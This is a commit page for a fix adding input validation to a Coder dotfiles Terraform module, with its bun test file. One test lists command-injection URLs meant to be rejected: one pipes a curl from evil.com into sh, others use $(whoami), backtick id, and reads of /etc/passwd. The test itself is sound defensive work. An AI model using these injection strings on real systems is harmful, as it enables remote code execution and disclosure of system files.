DevCats 8e68c96633
fix: add validation to inputs in dot-files module (#703)
## Description

Add's Validation to the dotfiles module in all input's to address
security issue pointed out in
https://github.com/coder/security/issues/119
<!-- Briefly describe what this PR does and why -->

## Type of Change

- [ ] New module
- [ ] New template
- [X] Bug fix
- [ ] Feature/enhancement
- [ ] Documentation
- [ ] Other

## Module Information

<!-- Delete this section if not applicable -->

**Path:** `registry/coder/modules/dotfiles`  
**New version:** `v1.2.4`  
**Breaking change:** [ ] Yes [X] No

## Testing & Validation

- [Y] Tests pass (`bun test`)
- [Y] Code formatted (`bun fmt`)
- [  ] Changes tested locally

## Related Issues

https://github.com/coder/security/issues/119
<!-- Link related issues or write "None" if not applicable -->

---------

Co-authored-by: Jakub Domeracki <jakub@coder.com>
2026-02-09 07:54:15 -06:00

68 lines
1.9 KiB
TypeScript

import { describe, expect, it } from "bun:test";
import {
runTerraformApply,
runTerraformInit,
testRequiredVariables,
} from "~test";
describe("dotfiles", async () => {
await runTerraformInit(import.meta.dir);
testRequiredVariables(import.meta.dir, {
agent_id: "foo",
});
it("default output is empty string", async () => {
const state = await runTerraformApply(import.meta.dir, {
agent_id: "foo",
});
expect(state.outputs.dotfiles_uri.value).toBe("");
});
it("accepts valid git URL formats", async () => {
const validUrls = [
"https://github.com/coder/dotfiles",
"https://github.com/coder/dotfiles.git",
"git@github.com:coder/dotfiles.git",
"git://github.com/coder/dotfiles.git",
"ssh://git@github.com/coder/dotfiles.git",
];
for (const url of validUrls) {
const state = await runTerraformApply(import.meta.dir, {
agent_id: "foo",
dotfiles_uri: url,
});
expect(state.outputs.dotfiles_uri.value).toBe(url);
}
});
it("rejects invalid or malicious URLs", async () => {
const invalidUrls = [
"https://github.com/user/repo; curl http://evil.com | sh",
"https://github.com/$(whoami)/repo",
"https://github.com/`id`/repo",
"https://github.com/user/repo|cat /etc/passwd",
"file:///etc/passwd",
"not-a-valid-url",
];
for (const url of invalidUrls) {
await expect(
runTerraformApply(import.meta.dir, {
agent_id: "foo",
dotfiles_uri: url,
}),
).rejects.toThrow();
}
});
it("set custom order for coder_parameter", async () => {
const order = 99;
const state = await runTerraformApply(import.meta.dir, {
agent_id: "foo",
coder_parameter_order: order.toString(),
});
expect(state.resources).toHaveLength(2);
expect(state.resources[0].instances[0].attributes.order).toBe(order);
});
});